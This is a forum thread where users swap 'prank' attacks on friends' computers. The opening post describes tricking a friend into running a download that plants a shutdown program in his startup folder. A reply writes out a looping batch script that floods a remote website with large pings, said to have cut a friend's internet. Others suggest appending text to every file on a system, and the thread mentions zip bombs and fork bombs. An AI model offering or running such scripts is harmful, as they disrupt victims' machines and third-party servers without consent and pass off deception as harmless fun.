So I Sent My Friend An MS-DOS 'Virus'

[Niliscro]

It should be pretty funny.  I sent him a game that you download (nothing I made, something I found online), and when he opens it it will move an MS-DOS .exe to the start up folder.  What does it do?  Just a one line shutdown command, but it is in the start up folder, so yeah.
Do the math.

It's part of a long line of pranks we've been playing on each other, I hope this one will take the cake.

They're innocent pranks, so I don't want to do that.
The last one sent a 1GB ping to some remote chinese website that pretty much disabled his internet.

Make something that writes to the end of every text file on the system 'lololololol'

You can find a bunch of videos on youtube of people using screen magnifier so that you can read what they (try to) type and misspell, or talking inconsistently and forgetting what they say. In the end you learn a stupid little cmd trick and you figure out how to do simple tasks found out by little kids on youtube who learned it from more little kids who think they are 5up3r 1337 #4x0r for this.

I'm sorry, but sometimes it's just stupid :|

Well, you open notepad and type in:

Code: [Select]

@Echo off
:Here
Ping -n 1 -l 1073741824 (website URL)
Goto Here

Then save it as a .bat or .exe or something

Edit:
Oh, I forgot that there is a limit to the size of the ping, in which case I did multiple pings in each loop.
Just change the value after -n to about 16000 and the value after -l to 65500

I'm a little more serious about it, I just like to play a prank now and then.  Chances are the youtube guys learned it from someone else.

Well, if I included system hidden folders and program files, it would crash their computer.  Ever try to open AIM as a text file?

My cousin has a very large file (A few petabytes, I believe) that has been stuffed into a zip file and compressed down to a very small size that will do terrible things to your computer if you open it.

He's a computer maniac, he can do a bunch of crazy stuff. He's also the one who joined the forums a few weeks ago under the name "uberbomber" and made some stupid topic about "THIS IS FUNNY" or something.

I'm scared for the forums when he gets unbanned.

judging by the way zip folders this is very possible.

I prefer fork bombs.

Yeah, I'm learning some java next year, then I'll expand on my c#/c++, then onto torque with me.
